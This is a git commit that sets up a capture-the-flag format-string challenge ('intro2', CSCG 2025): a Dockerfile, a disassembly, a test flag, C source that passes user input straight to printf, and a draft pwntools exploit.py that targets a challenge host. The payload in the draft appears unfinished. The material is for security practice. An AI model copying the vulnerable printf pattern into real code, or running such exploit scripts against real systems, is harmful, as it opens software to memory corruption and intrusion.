dingdong
This commit is contained in:
55
cscg25/pwn/intro2/Dockerfile
Normal file
55
cscg25/pwn/intro2/Dockerfile
Normal file
@@ -0,0 +1,55 @@
|
||||
FROM debian:bookworm-20250203-slim@sha256:40b107342c492725bc7aacbe93a49945445191ae364184a6d24fedb28172f6f7 AS ynetd-builder
|
||||
|
||||
ADD --chmod=0755 --checksum=sha256:c125df9762b0c7233459087bb840c0e5dbfc4d9690ee227f1ed8994f4d51d2e0 \
|
||||
https://raw.githubusercontent.com/reproducible-containers/repro-sources-list.sh/v0.1.4/repro-sources-list.sh \
|
||||
/usr/local/bin/repro-sources-list.sh
|
||||
|
||||
RUN --mount=type=cache,target=/var/cache/apt,sharing=locked --mount=type=cache,target=/var/lib/apt,sharing=locked \
|
||||
/usr/local/bin/repro-sources-list.sh && \
|
||||
apt-get update && \
|
||||
DEBIAN_FRONTEND=noninteractive apt-get install --no-install-recommends --yes \
|
||||
musl-dev \
|
||||
musl-tools \
|
||||
make \
|
||||
xz-utils && \
|
||||
rm -f /usr/local/bin/repro-sources-list.sh
|
||||
|
||||
WORKDIR /work
|
||||
|
||||
ADD --chmod=0666 --checksum=sha256:4300f2fbc3996bc389d3c03a74662bfff3106ac1930942c5bd27580c7ba5053d \
|
||||
https://yx7.cc/code/ynetd/ynetd-0.1.2.tar.xz \
|
||||
/work/ynetd-0.1.2.tar.xz
|
||||
|
||||
RUN tar -xJf ynetd-0.1.2.tar.xz && cd ynetd-0.1.2 && CC="musl-gcc" CFLAGS="-static" make
|
||||
|
||||
FROM debian:bookworm-20250203-slim@sha256:40b107342c492725bc7aacbe93a49945445191ae364184a6d24fedb28172f6f7 AS challenge-builder
|
||||
|
||||
ADD --chmod=0755 --checksum=sha256:c125df9762b0c7233459087bb840c0e5dbfc4d9690ee227f1ed8994f4d51d2e0 \
|
||||
https://raw.githubusercontent.com/reproducible-containers/repro-sources-list.sh/v0.1.4/repro-sources-list.sh \
|
||||
/usr/local/bin/repro-sources-list.sh
|
||||
|
||||
RUN --mount=type=cache,target=/var/cache/apt,sharing=locked --mount=type=cache,target=/var/lib/apt,sharing=locked \
|
||||
/usr/local/bin/repro-sources-list.sh && \
|
||||
apt-get update && \
|
||||
DEBIAN_FRONTEND=noninteractive apt-get install --no-install-recommends --yes \
|
||||
gcc libc-dev make && \
|
||||
rm -f /usr/local/bin/repro-sources-list.sh
|
||||
|
||||
WORKDIR /work
|
||||
|
||||
COPY ./intro-fmt.c ./Makefile /work
|
||||
|
||||
RUN make intro-fmt
|
||||
RUN echo "13ee0bca90243810a56ea7678bd89871dd93e390ae0094a79e0f788ac4bc9da9 ./intro-fmt" | sha256sum -c
|
||||
|
||||
|
||||
FROM debian:bookworm-20250203-slim@sha256:40b107342c492725bc7aacbe93a49945445191ae364184a6d24fedb28172f6f7 AS runner
|
||||
|
||||
COPY --from=ynetd-builder /work/ynetd-0.1.2/ynetd /ynetd
|
||||
|
||||
COPY --from=challenge-builder /work/intro-fmt /intro-fmt
|
||||
COPY ./flag /flag
|
||||
|
||||
EXPOSE 1024
|
||||
|
||||
CMD ["/ynetd", "-se", "y", "-p", "1024", "/intro-fmt"]
|
||||
8
cscg25/pwn/intro2/Makefile
Normal file
8
cscg25/pwn/intro2/Makefile
Normal file
@@ -0,0 +1,8 @@
|
||||
CC = gcc
|
||||
CFLAGS = -Wall -Wextra -g -std=c99 -g -no-pie
|
||||
|
||||
intro-fmt: intro-fmt.c
|
||||
$(CC) $(CFLAGS) -o intro-fmt intro-fmt.c
|
||||
|
||||
clean:
|
||||
rm -f intro-fmt
|
||||
224
cscg25/pwn/intro2/dump
Normal file
224
cscg25/pwn/intro2/dump
Normal file
@@ -0,0 +1,224 @@
|
||||
|
||||
intro-fmt: file format elf64-x86-64
|
||||
|
||||
|
||||
Disassembly of section .init:
|
||||
|
||||
0000000000401000 <_init>:
|
||||
401000: 48 83 ec 08 sub rsp,0x8
|
||||
401004: 48 8b 05 d5 2f 00 00 mov rax,QWORD PTR [rip+0x2fd5] # 403fe0 <__gmon_start__@Base>
|
||||
40100b: 48 85 c0 test rax,rax
|
||||
40100e: 74 02 je 401012 <_init+0x12>
|
||||
401010: ff d0 call rax
|
||||
401012: 48 83 c4 08 add rsp,0x8
|
||||
401016: c3 ret
|
||||
|
||||
Disassembly of section .plt:
|
||||
|
||||
0000000000401020 <puts@plt-0x10>:
|
||||
401020: ff 35 ca 2f 00 00 push QWORD PTR [rip+0x2fca] # 403ff0 <_GLOBAL_OFFSET_TABLE_+0x8>
|
||||
401026: ff 25 cc 2f 00 00 jmp QWORD PTR [rip+0x2fcc] # 403ff8 <_GLOBAL_OFFSET_TABLE_+0x10>
|
||||
40102c: 0f 1f 40 00 nop DWORD PTR [rax+0x0]
|
||||
|
||||
0000000000401030 <puts@plt>:
|
||||
401030: ff 25 ca 2f 00 00 jmp QWORD PTR [rip+0x2fca] # 404000 <puts@GLIBC_2.2.5>
|
||||
401036: 68 00 00 00 00 push 0x0
|
||||
40103b: e9 e0 ff ff ff jmp 401020 <_init+0x20>
|
||||
|
||||
0000000000401040 <system@plt>:
|
||||
401040: ff 25 c2 2f 00 00 jmp QWORD PTR [rip+0x2fc2] # 404008 <system@GLIBC_2.2.5>
|
||||
401046: 68 01 00 00 00 push 0x1
|
||||
40104b: e9 d0 ff ff ff jmp 401020 <_init+0x20>
|
||||
|
||||
0000000000401050 <printf@plt>:
|
||||
401050: ff 25 ba 2f 00 00 jmp QWORD PTR [rip+0x2fba] # 404010 <printf@GLIBC_2.2.5>
|
||||
401056: 68 02 00 00 00 push 0x2
|
||||
40105b: e9 c0 ff ff ff jmp 401020 <_init+0x20>
|
||||
|
||||
0000000000401060 <read@plt>:
|
||||
401060: ff 25 b2 2f 00 00 jmp QWORD PTR [rip+0x2fb2] # 404018 <read@GLIBC_2.2.5>
|
||||
401066: 68 03 00 00 00 push 0x3
|
||||
40106b: e9 b0 ff ff ff jmp 401020 <_init+0x20>
|
||||
|
||||
0000000000401070 <setvbuf@plt>:
|
||||
401070: ff 25 aa 2f 00 00 jmp QWORD PTR [rip+0x2faa] # 404020 <setvbuf@GLIBC_2.2.5>
|
||||
401076: 68 04 00 00 00 push 0x4
|
||||
40107b: e9 a0 ff ff ff jmp 401020 <_init+0x20>
|
||||
|
||||
0000000000401080 <exit@plt>:
|
||||
401080: ff 25 a2 2f 00 00 jmp QWORD PTR [rip+0x2fa2] # 404028 <exit@GLIBC_2.2.5>
|
||||
401086: 68 05 00 00 00 push 0x5
|
||||
40108b: e9 90 ff ff ff jmp 401020 <_init+0x20>
|
||||
|
||||
Disassembly of section .text:
|
||||
|
||||
0000000000401090 <_start>:
|
||||
401090: 31 ed xor ebp,ebp
|
||||
401092: 49 89 d1 mov r9,rdx
|
||||
401095: 5e pop rsi
|
||||
401096: 48 89 e2 mov rdx,rsp
|
||||
401099: 48 83 e4 f0 and rsp,0xfffffffffffffff0
|
||||
40109d: 50 push rax
|
||||
40109e: 54 push rsp
|
||||
40109f: 45 31 c0 xor r8d,r8d
|
||||
4010a2: 31 c9 xor ecx,ecx
|
||||
4010a4: 48 c7 c7 9d 12 40 00 mov rdi,0x40129d
|
||||
4010ab: ff 15 27 2f 00 00 call QWORD PTR [rip+0x2f27] # 403fd8 <__libc_start_main@GLIBC_2.34>
|
||||
4010b1: f4 hlt
|
||||
4010b2: 66 2e 0f 1f 84 00 00 cs nop WORD PTR [rax+rax*1+0x0]
|
||||
4010b9: 00 00 00
|
||||
4010bc: 0f 1f 40 00 nop DWORD PTR [rax+0x0]
|
||||
|
||||
00000000004010c0 <_dl_relocate_static_pie>:
|
||||
4010c0: c3 ret
|
||||
4010c1: 66 2e 0f 1f 84 00 00 cs nop WORD PTR [rax+rax*1+0x0]
|
||||
4010c8: 00 00 00
|
||||
4010cb: 0f 1f 44 00 00 nop DWORD PTR [rax+rax*1+0x0]
|
||||
|
||||
00000000004010d0 <deregister_tm_clones>:
|
||||
4010d0: b8 40 40 40 00 mov eax,0x404040
|
||||
4010d5: 48 3d 40 40 40 00 cmp rax,0x404040
|
||||
4010db: 74 13 je 4010f0 <deregister_tm_clones+0x20>
|
||||
4010dd: b8 00 00 00 00 mov eax,0x0
|
||||
4010e2: 48 85 c0 test rax,rax
|
||||
4010e5: 74 09 je 4010f0 <deregister_tm_clones+0x20>
|
||||
4010e7: bf 40 40 40 00 mov edi,0x404040
|
||||
4010ec: ff e0 jmp rax
|
||||
4010ee: 66 90 xchg ax,ax
|
||||
4010f0: c3 ret
|
||||
4010f1: 66 66 2e 0f 1f 84 00 data16 cs nop WORD PTR [rax+rax*1+0x0]
|
||||
4010f8: 00 00 00 00
|
||||
4010fc: 0f 1f 40 00 nop DWORD PTR [rax+0x0]
|
||||
|
||||
0000000000401100 <register_tm_clones>:
|
||||
401100: be 40 40 40 00 mov esi,0x404040
|
||||
401105: 48 81 ee 40 40 40 00 sub rsi,0x404040
|
||||
40110c: 48 89 f0 mov rax,rsi
|
||||
40110f: 48 c1 ee 3f shr rsi,0x3f
|
||||
401113: 48 c1 f8 03 sar rax,0x3
|
||||
401117: 48 01 c6 add rsi,rax
|
||||
40111a: 48 d1 fe sar rsi,1
|
||||
40111d: 74 11 je 401130 <register_tm_clones+0x30>
|
||||
40111f: b8 00 00 00 00 mov eax,0x0
|
||||
401124: 48 85 c0 test rax,rax
|
||||
401127: 74 07 je 401130 <register_tm_clones+0x30>
|
||||
401129: bf 40 40 40 00 mov edi,0x404040
|
||||
40112e: ff e0 jmp rax
|
||||
401130: c3 ret
|
||||
401131: 66 66 2e 0f 1f 84 00 data16 cs nop WORD PTR [rax+rax*1+0x0]
|
||||
401138: 00 00 00 00
|
||||
40113c: 0f 1f 40 00 nop DWORD PTR [rax+0x0]
|
||||
|
||||
0000000000401140 <__do_global_dtors_aux>:
|
||||
401140: f3 0f 1e fa endbr64
|
||||
401144: 80 3d 1d 2f 00 00 00 cmp BYTE PTR [rip+0x2f1d],0x0 # 404068 <completed.0>
|
||||
40114b: 75 13 jne 401160 <__do_global_dtors_aux+0x20>
|
||||
40114d: 55 push rbp
|
||||
40114e: 48 89 e5 mov rbp,rsp
|
||||
401151: e8 7a ff ff ff call 4010d0 <deregister_tm_clones>
|
||||
401156: c6 05 0b 2f 00 00 01 mov BYTE PTR [rip+0x2f0b],0x1 # 404068 <completed.0>
|
||||
40115d: 5d pop rbp
|
||||
40115e: c3 ret
|
||||
40115f: 90 nop
|
||||
401160: c3 ret
|
||||
401161: 66 66 2e 0f 1f 84 00 data16 cs nop WORD PTR [rax+rax*1+0x0]
|
||||
401168: 00 00 00 00
|
||||
40116c: 0f 1f 40 00 nop DWORD PTR [rax+0x0]
|
||||
|
||||
0000000000401170 <frame_dummy>:
|
||||
401170: f3 0f 1e fa endbr64
|
||||
401174: eb 8a jmp 401100 <register_tm_clones>
|
||||
|
||||
0000000000401176 <ignore_me_init_buffering>:
|
||||
401176: 55 push rbp
|
||||
401177: 48 89 e5 mov rbp,rsp
|
||||
40117a: 48 8b 05 cf 2e 00 00 mov rax,QWORD PTR [rip+0x2ecf] # 404050 <stdin@GLIBC_2.2.5>
|
||||
401181: b9 00 00 00 00 mov ecx,0x0
|
||||
401186: ba 02 00 00 00 mov edx,0x2
|
||||
40118b: be 00 00 00 00 mov esi,0x0
|
||||
401190: 48 89 c7 mov rdi,rax
|
||||
401193: e8 d8 fe ff ff call 401070 <setvbuf@plt>
|
||||
401198: 48 8b 05 a1 2e 00 00 mov rax,QWORD PTR [rip+0x2ea1] # 404040 <stdout@GLIBC_2.2.5>
|
||||
40119f: b9 00 00 00 00 mov ecx,0x0
|
||||
4011a4: ba 02 00 00 00 mov edx,0x2
|
||||
4011a9: be 00 00 00 00 mov esi,0x0
|
||||
4011ae: 48 89 c7 mov rdi,rax
|
||||
4011b1: e8 ba fe ff ff call 401070 <setvbuf@plt>
|
||||
4011b6: 48 8b 05 a3 2e 00 00 mov rax,QWORD PTR [rip+0x2ea3] # 404060 <stderr@GLIBC_2.2.5>
|
||||
4011bd: b9 00 00 00 00 mov ecx,0x0
|
||||
4011c2: ba 02 00 00 00 mov edx,0x2
|
||||
4011c7: be 00 00 00 00 mov esi,0x0
|
||||
4011cc: 48 89 c7 mov rdi,rax
|
||||
4011cf: e8 9c fe ff ff call 401070 <setvbuf@plt>
|
||||
4011d4: 90 nop
|
||||
4011d5: 5d pop rbp
|
||||
4011d6: c3 ret
|
||||
|
||||
00000000004011d7 <vuln>:
|
||||
4011d7: 55 push rbp
|
||||
4011d8: 48 89 e5 mov rbp,rsp
|
||||
4011db: 48 81 ec 10 04 00 00 sub rsp,0x410
|
||||
4011e2: 48 8d 05 1f 0e 00 00 lea rax,[rip+0xe1f] # 402008 <_IO_stdin_used+0x8>
|
||||
4011e9: 48 89 c7 mov rdi,rax
|
||||
4011ec: e8 3f fe ff ff call 401030 <puts@plt>
|
||||
4011f1: 48 8d 85 f0 fb ff ff lea rax,[rbp-0x410]
|
||||
4011f8: ba ff 03 00 00 mov edx,0x3ff
|
||||
4011fd: 48 89 c6 mov rsi,rax
|
||||
401200: bf 00 00 00 00 mov edi,0x0
|
||||
401205: e8 56 fe ff ff call 401060 <read@plt>
|
||||
40120a: 89 45 fc mov DWORD PTR [rbp-0x4],eax
|
||||
40120d: 8b 45 fc mov eax,DWORD PTR [rbp-0x4]
|
||||
401210: 83 e8 01 sub eax,0x1
|
||||
401213: 48 98 cdqe
|
||||
401215: c6 84 05 f0 fb ff ff mov BYTE PTR [rbp+rax*1-0x410],0x0
|
||||
40121c: 00
|
||||
40121d: 48 8d 05 f7 0d 00 00 lea rax,[rip+0xdf7] # 40201b <_IO_stdin_used+0x1b>
|
||||
401224: 48 89 c7 mov rdi,rax
|
||||
401227: b8 00 00 00 00 mov eax,0x0
|
||||
40122c: e8 1f fe ff ff call 401050 <printf@plt>
|
||||
401231: 48 8d 85 f0 fb ff ff lea rax,[rbp-0x410]
|
||||
401238: 48 89 c7 mov rdi,rax
|
||||
40123b: b8 00 00 00 00 mov eax,0x0
|
||||
401240: e8 0b fe ff ff call 401050 <printf@plt>
|
||||
401245: 48 8d 05 da 0d 00 00 lea rax,[rip+0xdda] # 402026 <_IO_stdin_used+0x26>
|
||||
40124c: 48 89 c7 mov rdi,rax
|
||||
40124f: e8 dc fd ff ff call 401030 <puts@plt>
|
||||
401254: 8b 05 12 2e 00 00 mov eax,DWORD PTR [rip+0x2e12] # 40406c <bug>
|
||||
40125a: 85 c0 test eax,eax
|
||||
40125c: 74 2d je 40128b <vuln+0xb4>
|
||||
40125e: 48 8d 05 c3 0d 00 00 lea rax,[rip+0xdc3] # 402028 <_IO_stdin_used+0x28>
|
||||
401265: 48 89 c7 mov rdi,rax
|
||||
401268: b8 00 00 00 00 mov eax,0x0
|
||||
40126d: e8 de fd ff ff call 401050 <printf@plt>
|
||||
401272: 48 8d 05 fc 0d 00 00 lea rax,[rip+0xdfc] # 402075 <_IO_stdin_used+0x75>
|
||||
401279: 48 89 c7 mov rdi,rax
|
||||
40127c: e8 bf fd ff ff call 401040 <system@plt>
|
||||
401281: bf 00 00 00 00 mov edi,0x0
|
||||
401286: e8 f5 fd ff ff call 401080 <exit@plt>
|
||||
40128b: 48 8d 05 ee 0d 00 00 lea rax,[rip+0xdee] # 402080 <_IO_stdin_used+0x80>
|
||||
401292: 48 89 c7 mov rdi,rax
|
||||
401295: e8 96 fd ff ff call 401030 <puts@plt>
|
||||
40129a: 90 nop
|
||||
40129b: c9 leave
|
||||
40129c: c3 ret
|
||||
|
||||
000000000040129d <main>:
|
||||
40129d: 55 push rbp
|
||||
40129e: 48 89 e5 mov rbp,rsp
|
||||
4012a1: 48 83 ec 10 sub rsp,0x10
|
||||
4012a5: 89 7d fc mov DWORD PTR [rbp-0x4],edi
|
||||
4012a8: 48 89 75 f0 mov QWORD PTR [rbp-0x10],rsi
|
||||
4012ac: b8 00 00 00 00 mov eax,0x0
|
||||
4012b1: e8 c0 fe ff ff call 401176 <ignore_me_init_buffering>
|
||||
4012b6: b8 00 00 00 00 mov eax,0x0
|
||||
4012bb: e8 17 ff ff ff call 4011d7 <vuln>
|
||||
4012c0: b8 00 00 00 00 mov eax,0x0
|
||||
4012c5: c9 leave
|
||||
4012c6: c3 ret
|
||||
|
||||
Disassembly of section .fini:
|
||||
|
||||
00000000004012c8 <_fini>:
|
||||
4012c8: 48 83 ec 08 sub rsp,0x8
|
||||
4012cc: 48 83 c4 08 add rsp,0x8
|
||||
4012d0: c3 ret
|
||||
29
cscg25/pwn/intro2/exploit.py
Normal file
29
cscg25/pwn/intro2/exploit.py
Normal file
@@ -0,0 +1,29 @@
|
||||
from pwn import *
|
||||
|
||||
# Set the context for the binary
|
||||
context.binary = './intro-fmt' # Replace with your binary's name
|
||||
|
||||
# Choose local or remote
|
||||
LOCAL = True # Change to False if connecting remotely
|
||||
|
||||
if LOCAL:
|
||||
p = process(context.binary.path)
|
||||
else:
|
||||
p = remote("39d9389ef3a77235a475377e-1024-intro-pwn-2.challenge.cscg.live", 1337, ssl=True)# Define functions for convenience
|
||||
def send_payload(payload):
|
||||
p.sendline(payload)
|
||||
|
||||
def recv_until(delim):
|
||||
return p.recvuntil(delim)
|
||||
|
||||
def interact():
|
||||
p.interactive()
|
||||
|
||||
bug_addr = 0x40406c
|
||||
|
||||
# Example interaction
|
||||
recv_until(b'What is your name?')
|
||||
payload = b"\x6c\x40\x40 %x %x %x %x %s"
|
||||
send_payload(payload)
|
||||
|
||||
interact() # Keep the shell open
|
||||
1
cscg25/pwn/intro2/flag
Normal file
1
cscg25/pwn/intro2/flag
Normal file
@@ -0,0 +1 @@
|
||||
CSCG{testflag}
|
||||
BIN
cscg25/pwn/intro2/intro-fmt
Executable file
BIN
cscg25/pwn/intro2/intro-fmt
Executable file
Binary file not shown.
41
cscg25/pwn/intro2/intro-fmt.c
Normal file
41
cscg25/pwn/intro2/intro-fmt.c
Normal file
@@ -0,0 +1,41 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
|
||||
// --------------------------------------------------- SETUP
|
||||
|
||||
void ignore_me_init_buffering() {
|
||||
setvbuf(stdin, NULL, _IONBF, 0);
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
setvbuf(stderr, NULL, _IONBF, 0);
|
||||
}
|
||||
|
||||
// --------------------------------------------------- VULNERABLE FUNCTION
|
||||
|
||||
int bug = 0;
|
||||
void vuln() {
|
||||
char name[1024];
|
||||
printf("What is your name?\n");
|
||||
int number_read = read(STDIN_FILENO, name, sizeof(name) - 1);
|
||||
name[number_read - 1] = 0;
|
||||
printf("Thank you ");
|
||||
printf(name);
|
||||
printf("!\n");
|
||||
if (bug) {
|
||||
printf("Oh, you got here somehow, you must have triggered a bug.. Here is "
|
||||
"the flag: ");
|
||||
system("cat /flag");
|
||||
exit(0);
|
||||
}
|
||||
printf("But our flag is in another branch!\n");
|
||||
}
|
||||
|
||||
// --------------------------------------------------- MAIN
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
(void)argc;
|
||||
(void)argv;
|
||||
ignore_me_init_buffering();
|
||||
|
||||
vuln();
|
||||
}
|
||||
Reference in New Issue
Block a user